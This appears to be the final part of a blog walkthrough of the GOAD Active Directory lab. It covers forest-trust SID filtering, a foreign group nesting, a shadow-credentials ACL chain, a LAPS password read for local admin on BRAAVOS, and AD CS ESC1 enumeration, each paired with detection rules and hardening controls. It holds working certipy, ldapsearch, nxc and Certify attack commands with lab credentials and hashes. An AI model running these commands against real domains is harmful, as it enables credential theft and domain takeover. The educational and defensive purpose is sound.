Series · 4 partsAssessing Active DirectoryPart 4 · You are here
  1. 1GOAD Part 1: From Zero Credentials to the Attack Graph
  2. 2GOAD Part 2: Owning the NORTH Domain Controller
  3. 3GOAD Part 3: Walking the ACL Chain to the Forest Root
  4. 4GOAD Part 4: Owning essos.local Across the Forest TrustYou are here

Why the forest trust is not a free Domain Admin

At the end of Part 3 we owned the forest root sevenkingdoms.local and dumped its krbtgt. The natural next question in a multi-forest lab is: can I just forge my way into essos.local? The answer is no, and the reason is worth understanding before running a single tool.

Active Directory draws a hard line between two kinds of trust. A parent–child trust lives inside one forest, where every domain already shares a single Schema and Configuration partition. A forest trust joins two completely independent forests. Reading the trustAttributes on both sides makes the difference visible:

$ ldapsearch -x -H ldap://192.168.56.10 -D "[email protected]" -w "powerkingftw135" \
    -b "CN=System,DC=sevenkingdoms,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: north.sevenkingdoms.local
flatName: NORTH
trustAttributes: 32            # WITHIN_FOREST — SID filtering OFF
cn: essos.local
flatName: ESSOS
trustAttributes: 72            # TREAT_AS_EXTERNAL | FOREST_TRANSITIVE — SID filtering ON

$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "fr3edom" \
    -b "CN=System,DC=essos,DC=local" "(objectClass=trustedDomain)" \
    cn flatName trustAttributes | grep -E "^(cn|flatName|trust)"
cn: sevenkingdoms.local
flatName: SEVENKINGDOMS
trustAttributes: 8             # FOREST_TRANSITIVE — SID filtering ON

trustAttributes is the bitmask from [MS-ADTS] §6.1.6.7.9 that I mapped out in Multi-Forest Active Directory Architecture. The key value is 32 (0x20 = WITHIN_FOREST) versus 8/72 (FOREST_TRANSITIVE, optionally with TREAT_AS_EXTERNAL):

  • WITHIN_FOREST (32) means parent–child, SID filtering off. That is why a Golden Ticket forged in north could carry the parent’s Enterprise Admins SID in its ExtraSids and walk into sevenkingdoms.local. It is the intra-forest escalation trick — it does not apply between forests.
  • FOREST_TRANSITIVE (8/72) turns on SID filtering (Quarantine). When a ticket crosses the forest trust into essos.local, the essos KDC strips every SID in the ExtraSids / PAC field that is not the caller’s own SID or a legitimate member of the trusting forest. A krbtgt-forged ticket from sevenkingdoms.local carrying S-1-5-21-...-519 (Enterprise Admins) simply arrives in essos.local with that SID removed.
BloodHound visual graph detailing the cross-forest trust relationship, Foreign Security Principal mapping into Spys group, and the escalation path to BRAAVOS and MEEREEN
BloodHound attack graph Visual mapping of the cross-forest bridge. While SID filtering invalidates forged tickets, the ForeignSecurityPrincipal membership of Small Council inside Spys provides an authenticated authorization conduit across forests.

Protocol and mathematical wire mechanics: Bitmask decomposition of trustAttributes: 72

The numerical values in trustAttributes are defined in [MS-ADTS] §6.1.6.7.9 (Trusted Domain Object):

Flag ConstantHex ValueDecimal ValueMeaning & Wire Behavior
TRUST_ATTRIBUTE_NON_TRANSITIVE0x000000011Trust does not transit beyond the partner domain.
TRUST_ATTRIBUTE_UPLEVEL_ONLY0x000000022Domain supports Windows 2000 and newer Kerberos extensions.
TRUST_ATTRIBUTE_QUARANTINED_DOMAIN0x000000044SID Filtering explicitly enabled on an external trust.
TRUST_ATTRIBUTE_FOREST_TRANSITIVE0x000000088Cross-forest trust; SID Filtering is enforced by default.
TRUST_ATTRIBUTE_WITHIN_FOREST0x0000002032Intra-forest tree/child trust; SID Filtering is disabled.
TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL0x0000004064Trust treated as external boundary for delegation and PAC rules.

The mathematical bitwise OR equation for sevenkingdoms.local → essos.local is:

$$\text{trustAttributes} = \text{FOREST_TRANSITIVE} \mid \text{TREAT_AS_EXTERNAL} = 8 \mid 64 = 72 \quad (0\text{x}08 \mid 0\text{x}40 = 0\text{x}48)$$

When a Kerberos cross-realm ticket crosses into essos.local, the KDC executes KrbFilterSids() ([MS-PAC] §4.1.2.2). Under FOREST_TRANSITIVE (8/72), any foreign SID in the ticket’s ExtraSids field whose RID is under 1000 (such as 512 Domain Admins or 519 Enterprise Admins) or whose domain SID does not match the trusted forest is discarded from the Authorization Data. Conversely, under WITHIN_FOREST (32), KrbFilterSids() is bypassed for member domains of the same forest, allowing child-to-parent ticket elevation.

In PowerShell on Windows, the trust configuration can be verified using:

Get-ADTrust -Filter * | Select-Object Name, Direction, TrustType, TrustAttributes

Detection: trustAttributes is readable by any authenticated user via ldapsearch (as above) or nxc ldap <dc> -u <user> -p <pass> --trusted-for-delegation. There is nothing to alert on here — this is static directory metadata.

Control: SID filtering is on by default for external and forest trusts and should stay that way. The misconfiguration to hunt is a forest trust that has had SID filtering explicitly disabled (netdom trust ... /quarantine:no), or an external trust mistakenly created as a forest trust. Treat the trust itself as a firewall rule: NETLOGON/RPC (135/445) reachability between forests is the real attack surface.

What actually crosses: foreign group nesting

SID filtering stops a forged ticket, but it does not stop a legitimate cross-forest permission. When I enumerated essos.local’s groups as missandei, one entry stood out: the Spys group has a member that is not an essos account at all, but a foreign security principal:

$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "fr3edom" \
    -b "DC=essos,DC=local" "(&(objectClass=group)(sAMAccountName=Spys))" member
member: CN=S-1-5-21-3291916993-3717649449-3745629854-1108,CN=ForeignSecurityPrincipals,DC=essos,DC=local

That SID belongs to sevenkingdoms.local. The RID -1108 is the Small Council group — the very group we added tyron.lannister to in Part 3. So the two forests are wired together not just by a trust, but by a cross-forest group nesting: Small Council (sevenkingdoms) is a member of Spys (essos), stored as a ForeignSecurityPrincipal object under CN=ForeignSecurityPrincipals.

The consequence is concrete. Spys holds GenericAll over jorah.mormont:

$ impacket-dacledit -action read -target jorah.mormont "essos.local/missandei:fr3edom" -dc-ip 192.168.56.12
[*]     Access mask               : FullControl (0xf01ff)
[*]     Trustee (SID)             : Spys (S-1-5-21-2405585222-1741672622-953379088-1112)

This is the actual answer to “how do you cross a forest trust.” You do not forge a privileged SID into a ticket — SID filtering defeats that. You use a legitimate cross-forest group membership so that a principal in your forest holds a real ACE in the target forest. When tyron.lannister (a sevenkingdoms user in Small Council) authenticates to essos.local, his own SID travels with him, and the essos DC evaluates it against Spys’s outbound rights. Nothing about that is filtered, because it is not an injected ExtraSids value — it is his actual SID.

BloodHound Cypher: Mapping cross-forest group nestings

To discover all ForeignSecurityPrincipal links across trust boundaries in BloodHound:

MATCH (g1:Group)-[:MemberOf]->(g2:Group)
WHERE g1.domain <> g2.domain
RETURN g1.name AS ForeignGroup, g1.domain AS SourceDomain, g2.name AS LocalGroup, g2.domain AS TargetDomain

Detection: Cross-forest group memberships land in CN=ForeignSecurityPrincipals,DC=<domain>,DC=<tld>. Enumerate them with ldapsearch ... "(objectClass=foreignSecurityPrincipal)" and cross-reference every FSP back to the trusting domain to see whether it is a low-privileged group (Small Council) that has been handed local rights. Watch for 5136/4732 on any essos group gaining a foreign member.

Control: Treat ForeignSecurityPrincipals as Tier-0 configuration. Only nest dedicated cross-forest admin groups, never broad user groups, and audit every ACE granted to a foreign principal. SID filtering protects you from ticket forgery, but nothing protects you from an administrator who nested the wrong group.

Essos domain baseline and defensive posture

The official GOAD documentation allocates two Windows Server 2016 machines to the essos.local forest:

HostIPRoleOSWindows DefenderPrimary Surface & Vectors
DC03 (meereen)192.168.56.12Forest Root DC, KDC, DNS, Enterprise CAWindows Server 2016EnabledCross-forest trust endpoint, AS-REP roasting (missandei), AD CS ESC1-ESC8
SRV03 (braavos)192.168.56.23Member Server, MSSQL, LAPS, gMSAWindows Server 2016EnabledLAPS (ms-Mcs-AdmPwd), MSSQL linked server target from CASTELBLACK

[!NOTE] In GOAD’s design, both DC03 and SRV03 run with Windows Defender Enabled. Reading LAPS attributes over LDAP, requesting Kerberos cross-realm service tickets, and querying AD CS certificate templates execute entirely via sanctioned administrative protocols, generating zero antivirus signatures. Detection depends on Event Log telemetry and directory auditing.

From the missandei foothold to LAPS on BRAAVOS

Cross-forest nesting is the story; the reliable path to compromise still runs inside essos.local, starting from the missandei : fr3edom account we cracked with AS-REP Roasting back in Part 1. BloodHound’s ACL collection draws the chain:

[email protected]       --[GenericAll  ]-->  [email protected]
[email protected]      --[GenericAll  ]-->  [email protected]
[email protected] --[GenericWrite]-->  [email protected]
[email protected]   --[ReadLAPSPassword]--> BRAAVOS.ESSOS.LOCAL
CROSS-FOREST TRUST · THE ESSOS.LOCAL PATH TO BRAAVOS sevenkingdoms.local owned in Part 3 forest trust · SID FILTER ON Small Council → Spys (FSP) essos.local Spys ← Small Council missandei GenericAll → AS-REP (Part 1) khal.drogo GenericAll → shadow creds viserys GenericWrite → shadow creds jorah ReadLAPS → ms-Mcs-AdmPwd BRAAVOS local admin ESSOS-CA shadow credentials → NT hash → LAPS → local admin on BRAAVOS
The essos.local path: a foreign-group nesting (Small Council → Spys) crosses the trust legally, while the reliable escalation chain runs inside the forest — missandei through three GenericAll/GenericWrite hops to jorah.mormont, whose ReadLAPSPassword right unlocks the BRAAVOS local administrator.

Each hop is the same primitive we used in Part 3, but note how little you need to change per edge. missandei has GenericAll over khal.drogo; certipy shadow auto writes a key credential, authenticates over PKINIT, and hands back the NT hash, then restores the account:

$ certipy-ad shadow auto -u [email protected] -p fr3edom -account khal.drogo -dc-ip 192.168.56.12
[*] Successfully added Key Credential ... to the Key Credentials for 'khal.drogo'
[*] Got TGT
[*] Successfully restored the old Key Credentials for 'khal.drogo'
[*] NT hash for 'khal.drogo': 739120ebc4dd940310bc4bb5c9d37021

Two more identical hops — khal.drogo → viserys.targaryen (GenericAll) and viserys.targaryen → jorah.mormont (GenericWrite) — and we hold jorah.mormont’s hash without ever learning a password:

[*] NT hash for 'viserys.targaryen': d96a55df6bef5e0b4d6d956088036097
[*] NT hash for 'jorah.mormont':    4d737ec9ecf0b9955a161773cfed9611

The payoff for jorah.mormont is not another user — it is LAPS. His ReadProperty on ms-Mcs-AdmPwd (GUID dfe058bd-b18e-4c1b-8ce8-ce4b7933781e) over the BRAAVOS$ computer object lets him pull the managed local-administrator password straight out of LDAP:

$ ldapsearch -x -H ldap://192.168.56.12 -D "[email protected]" -w "H0nnor!" \
    -b "DC=essos,DC=local" "(ms-Mcs-AdmPwd=*)" sAMAccountName ms-Mcs-AdmPwd
sAMAccountName: BRAAVOS$
ms-Mcs-AdmPwd: E(D8oS]3zX79Px

$ nxc smb 192.168.56.23 -u Administrator -p "E(D8oS]3zX79Px" --local-auth
SMB  192.168.56.23  445  BRAAVOS  [+] BRAAVOS\Administrator:E(D8oS]3zX79Px (Pwn3d!)

BloodHound Cypher: Hunting LAPS password readers

To identify all principals with permission to read plaintext LAPS administrator passwords across computers in essos.local:

MATCH (u:User)-[r:ReadLAPSPassword]->(c:Computer)
RETURN u.name AS Reader, c.name AS TargetComputer

Windows & PowerShell tool equivalents (LAPS attribute retrieval)

On Windows endpoints with domain access, the LAPS password can be read using the ActiveDirectory module or the AdmPwd PowerShell module:

# ActiveDirectory PowerShell module
Get-ADComputer braavos -Properties ms-Mcs-AdmPwd | Select-Object Name, ms-Mcs-AdmPwd

# AdmPwd.PS PowerShell module
Get-AdmPwdPassword -ComputerName braavos

BRAAVOS (192.168.56.23) is the member server that also hosts ESSOS-CA. Local admin there is a Tier-0 foothold in the second forest.

Detection: The shadow-credential hops are the same as Part 3 — Event ID 5136 on msDS-KeyCredentialLink for each account. The LAPS read is quieter: it is an LDAP read of a confidential attribute, logged (if at all) as Event ID 4662 on the DC. The sharpest signal is a single low-privileged account (jorah.mormont) suddenly reading ms-Mcs-AdmPwd on a machine it has no operational reason to touch.

Control: Prune GenericAll/GenericWrite ACEs between ordinary users (missandei → khal.drogo, khal.drogo → viserys, viserys → jorah) exactly as in Part 3. For LAPS, audit every account granted ReadLAPSPassword (ms-Mcs-AdmPwd) and keep the list to the helpdesk tooling that genuinely needs it; jorah.mormont has no business reading BRAAVOS’s LAPS password. Optionally move to Windows LAPS with encryption tied to the target machine’s TPM/DPAPI rather than plaintext ms-Mcs-AdmPwd.

The AD CS layer: ESSOS-CA and its ESC templates

essos.local runs its own Enterprise CA, ESSOS-CA, hosted on BRAAVOS (.23) — not on the Domain Controller, which is a common-but-dangerous placement. certipy find as missandei enumerates the vulnerable surface in one shot:

$ certipy-ad find -u [email protected] -p fr3edom -dc-ip 192.168.56.12 -vulnerable -stdout
Certificate Authorities
  0
    CA Name           : ESSOS-CA
    DNS Name          : braavos.essos.local
    User Specified SAN: Enabled        # ESC6
    [!] ESC8          : Web Enrollment is enabled over HTTP.
    [!] ESC11         : Encryption is not enforced for ICPR (RPC) requests.

Certificate Templates
  Template Name: ESC1    -> ESC1: Enrollee supplies subject + client authentication
  Template Name: ESC2    -> ESC2: any-purpose EKU
  Template Name: ESC3-CRA -> ESC3: Certificate Request Agent EKU
  Template Name: ESC9    -> ESC9: no security extension
  Template Name: WebServer -> ESC15 (schema v1) / ESC17 (server auth)

The headline is ESC1: the ESC1 template is enrolled by Domain Users, allows the enrollee to supply the subject, and permits client authentication. That means missandei (a plain domain user) can request a certificate with [email protected], present it over PKINIT, and receive daenerys.targaryen’s TGT — and daenerys.targaryen is a direct member of Domain Admins:

$ certipy-ad req -u [email protected] -p fr3edom -ca ESSOS-CA -template ESC1 \
    -upn [email protected] -dc-ip 192.168.56.12
[*] Requesting certificate via RPC
[!] Failed to resolve dynamic endpoint 91AE6020-9E3C-11CF-8D7C-00AA00C091BE: ept_s_not_registered

In this lab instance the ESSOS-CA enrollment endpoints are not serving — the ICertRequest RPC interface (91AE6020-9E3C-11CF-8D7C-00AA00C091BE) returns ept_s_not_registered, and the /certsrv/ web enrollment answers on 80/tcp but not with a working CEP/CES endpoint. The configuration is vulnerable (the templates and the User Specified SAN flag are real and enumerated), but the service side is down. I left the failed request in on purpose: it is exactly the kind of thing that differs between the GOAD docs and a specific running instance, and it is a good habit to verify a CA is actually reachable before writing “ESC1 gives us Domain Admin.”

When the CA is live, the completion is the standard certificate-to-domain-admin dance: certipy req -upn [email protected] → certipy auth -pfx daenerys.pfx → a daenerys.targaryen TGT → secretsdump DCSync against meereen.essos.local. Since daenerys.targaryen sits in Domain Admins, that single certificate equals the second forest.

BloodHound Cypher: Locating vulnerable ESC1 certificate templates

To query for certificate templates that allow low-privileged enrollment with enrollee-supplied subject alternative names and client authentication:

MATCH (u:User)-[:Enroll]->(t:CertificateTemplate)
WHERE t.enrolleesuppliessubject = true AND t.authenticationenabled = true
RETURN u.name AS Principal, t.name AS TemplateName

Windows & C# tool equivalents (Certify)

From a Windows system, Certify executes the ESC1 certificate request and impersonation workflow:

# Requesting certificate impersonating daenerys.targaryen via Certify
Certify.exe request /ca:braavos.essos.local\ESSOS-CA /template:ESC1 /altname:daenerys.targaryen

Detection: certipy find itself triggers a burst of LDAP reads and an RPC connection to the CA registry (RRP) — log that as an anomaly from a non-admin workstation. The ESC1 abuse itself is Event ID 4886/4887 (certificate requested/issued) on the CA, and PKINIT shows as 4768 with pre-auth type 16.

Control: AD CS is the highest-leverage hardening target in this lab. Remove EnrolleeSuppliesSubject from any template enrollable by Domain Users (or require manager approval), disable User Specified SAN on the CA, disable HTTP web enrollment (ESC8), and enforce encryption on ICPR requests (ESC11). Above all, treat the Enterprise CA server (BRAAVOS) as Tier 0 regardless of which machine it runs on.

The Domain Admin short-circuit: a nested dragon

There is one more structural finding worth recording, because it is a reminder that DA does not only come from ACL chains. The Domain Admins group in essos.local contains QueenProtector, which contains Dragons, which contains drogon:

Domain Admins  ->  QueenProtector  ->  Dragons  ->  drogon

That means the ordinary user drogon is effectively a Domain Admin through three levels of nested group membership — no ACL abuse required. Anyone who controls drogon (for example by reading the gmsaDragon$ managed password and using its outbound rights, or simply because drogon’s password is weak and crackable) walks into Domain Admins through the front door. Nested groups are where “I don’t have a privileged account” turns out to be wrong.

Detection / Control: Enumerate effective group membership, not just direct memberships — BloodHound’s AdminTo/MemberOf queries and nxc ldap --get-network are the tools. Flatten privileged groups so Domain Admins never contains a chain of user groups, and set a floor on password quality for accounts that sit anywhere in the nesting.

Cross-forest and intra-domain telemetry reference

Securing cross-forest boundaries requires monitoring trust hops, directory attribute reads, and certificate requests:

Attack VectorWindows Event IDEvent DescriptionTelemetry Details & Indicators
Cross-Realm TGS Request4769Kerberos Service Ticket RequestServiceName: krbtgt/essos.local, Ticket Options for inter-realm referral
FSP Group Modification4728 / 4732Member Added to Security GroupMember added with Foreign Security Principal SID CN=S-1-5-21-...
Shadow Credentials Key Write5136Directory Service Object ModifiedAttribute msDS-KeyCredentialLink written on khal.drogo / viserys
LAPS Password Retrieval4662Operation Performed on ObjectAccess mask 0x10 (Read Property) targeting attribute ms-Mcs-AdmPwd
AD CS Certificate Issuance4887Certificate Services Approved & IssuedTemplate: ESC1/ESC2, Requester and Subject mismatch (impersonating daenerys)
Network Administrative Logon4624Successful Network LogonLogonType: 3, Target BRAAVOS$ / MEEREEN$, Account daenerys.targaryen

SIEM and SOC detection rules

Detecting cross-forest pivots, LAPS reads, and certificate impersonation demands precise event queries:

1. Splunk: LAPS Attribute Read (Event ID 4662)

Detects LDAP directory read operations targeting the confidential plaintext LAPS password property (ms-Mcs-AdmPwd GUID {dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}):

index=wineventlog EventCode=4662 ObjectType="computer"
| search AccessMask="0x10" AND Properties="*{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}*"
| table _time, SubjectUserName, ComputerName, ObjectName, Properties

2. Splunk: AD CS Certificate Request with SAN Impersonation (Event ID 4887)

Flags certificates issued by ESSOS-CA where the requester’s account differs from the Subject Alternative Name (SAN) identity embedded in the certificate:

index=wineventlog EventCode=4887
| search CertificateTemplate IN ("ESC1", "ESC2")
| eval requester=coalesce(Requester, SubjectUserName)
| where requester != UPN AND isnotnull(UPN)
| table _time, ComputerName, requester, UPN, CertificateTemplate

3. Sigma rule snippet: Unauthorized LAPS password retrieval

title: Unauthorized LAPS Password Attribute Retrieval
status: experimental
description: Detects LDAP read access to the plaintext ms-Mcs-AdmPwd attribute
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    ObjectType: 'computer'
    AccessMask: '0x10'
    Properties|contains: '{dfe058bd-b18e-4c1b-8ce8-ce4b7933781e}'
  condition: selection
falsepositives:
  - Authorized central helpdesk management software
level: high

Summary of findings

FindingPathImpactVerify (from Kali)Control
Forest trust SID filtering ONsevenkingdoms ↔ essosForged ExtraSids/SID-history ticket cannot reach DAldapsearch ... (trustedDomain trustAttributes)Keep Quarantine enabled; audit trust type
Foreign group nestingSmall Council (sevenkingdoms) → Spys (essos)A sevenkingdoms principal holds GenericAll over jorah.mormontldapsearch ... (foreignSecurityPrincipal)Only nest dedicated cross-forest admin groups
Intra-forest ACL chainmissandei → khal.drogo → viserys → jorahShadow credentials → three NT hashes, no passwordscertipy-ad shadow auto -account <u> each hopRemove GenericAll/GenericWrite between users
ReadLAPSPassword on BRAAVOS$jorah.mormontLocal admin on BRAAVOS (E(D8oS]3zX79Px)ldapsearch ... "(ms-Mcs-AdmPwd=*)"Audit ms-Mcs-AdmPwd readers; Windows LAPS
ESSOS-CA ESC templatesESSOS-CA on BRAAVOSESC1/2/3/4/6/8/9/11 → daenerys (DA) via PKINITcertipy-ad find ... -vulnerableRemove EnrolleeSuppliesSubject; disable HTTP enrollment
Nested Domain Adminsdrogon ∈ Dragons ∈ QueenProtector ∈ DAEffective DA via nested groupsBloodHound AdminTo / MemberOfFlatten privileged group nesting

Closing the series

This is the last part of the four-post walkthrough, and the shape of it is the lesson: three domains, two forests, and every “exploit” was a normal Windows feature crossing a boundary someone forgot about. Part 1 turned unauthenticated enumeration and AS-REP Roasting into a foothold. Part 2 Kerberoasted a service account and rode constrained delegation to the NORTH DC. Part 3 walked an eight-hop ACL chain to the forest root. And here, the forest trust’s SID filtering forced us to stop forging tickets and start being the right principal — through a foreign group membership, a three-hop ACL chain, and LAPS — before AD CS offered the one-liner finish.

The techniques introduced here are explored through dedicated companion write-ups on this site:

Evidence and limits

The cross-forest trust checks, ACL hops (missandei → khal.drogo → viserys.targaryen), LAPS password read on BRAAVOS, and ESSOS-CA template enumeration were executed inside the isolated GOAD lab across sevenkingdoms.local and essos.local. All credentials and SIDs belong to the GOAD fixture set, and the environment remained confined to the host-only lab network.

References

Sources & freshness

How current is this note?

Sources checkedNovember 4, 2026

The latest source-review, content-update, or publication date is shown.

ReviewPublic sources reviewed

Primary public records were checked. Environment-specific behavior remains outside the claim unless separately reproduced.